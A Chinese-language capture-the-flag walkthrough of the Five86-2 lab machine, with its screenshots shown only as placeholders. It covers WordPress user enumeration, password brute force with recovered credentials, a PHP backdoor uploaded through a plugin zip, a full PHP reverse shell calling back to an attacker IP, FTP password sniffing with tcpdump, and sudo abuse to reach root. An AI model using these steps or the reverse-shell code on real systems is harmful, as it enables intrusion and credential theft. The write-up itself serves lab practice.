nmap 扫描端口

image.png
image.png

访问 80 口（要改一下 hosts 文件）

image.png
image.png

是一个 wordpress，wpscan 来扫描一下看看有哪些用户
wpscan –url http://five86-2/ -e u

image.png
image.png

wpscan –url http://five86-2 -P passwords.txt -U users.txt 来爆破一下用户名和密码

image.png
image.png

Username: barney, Password: spooky1
Username: stephen, Password: apollo1

选一个登录一下，再 Add New 中新建一个 e-learning

image.png
image.png

echo “hello“ > index.html
echo ““ > index.php
zip poc.zip index.html index.php
来生成一个 zip，然后上传，可以看到文件路径，直接访问那个 php 的后门

image.png
image.png
image.png
image.png

蚁剑连上，发现执行不了 nc 命令，在蚁剑的终端上也没法切换用户，然后写了个 system 的 php 也没法反弹 shell

image.png
image.png

找了个别的版本的 shell

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$ip = '192.168.149.141';
$port = '6666';
$sock = fsockopen($ip, $port);
$descriptorspec = array(
    0 => $sock,
    1 => $sock,
    2 => $sock
);
$process = proc_open('/bin/sh',$descriptorspec, $pipes);
proc_close($process);
?>

没有 python2 所以用的 python3
python3 -c “import pty;pty.spawn(‘/bin/bash’)”

切换到 stephen 用户
Username: stephen, Password: apollo1

image.png
image.png

ps -auxw
-a 显示同一终端下的所有程序
-aux 显示所有包含其他使用者的行程
-w 显示加宽可以显示较多的资讯

image.png
image.png

可以看到 ftp 是 paul 用户的跑的，ftp 大多数是明文传输，所以可以使用 tcpdump 抓包看一下看一下网卡信息
stephen 用户是可以运行 tcpdump 的
cat /proc/net/dev

image.png
image.png

前面 timeout 设置一下时间，到时间就关掉进程
timeout 150 tcpdump -i veth6b4bbb1 -w ftp.pcap
-i 指定网卡
-w 保存为文件而不是标准输出

直接 cat 文件也可以看到，也可以放到 /tmp 目录，下载下来用 wrieshark 查看
得到 ftp 账户：paul:esomepasswford

image.png
image.png

尝试切换一下，成功

image.png
image.png

sudo -l 发现一个不用密码的，可以直接切换到 pater 账户的 shell

image.png
image.png

sudo -u peter service ../../../../../../bin/sh
再次 sudo -l 发现可以执行 passwd 来修改密码

image.png
image.png

sudo passwd root 更改 root 的密码，然后切换到 root 用户就可以啦

image.png
image.png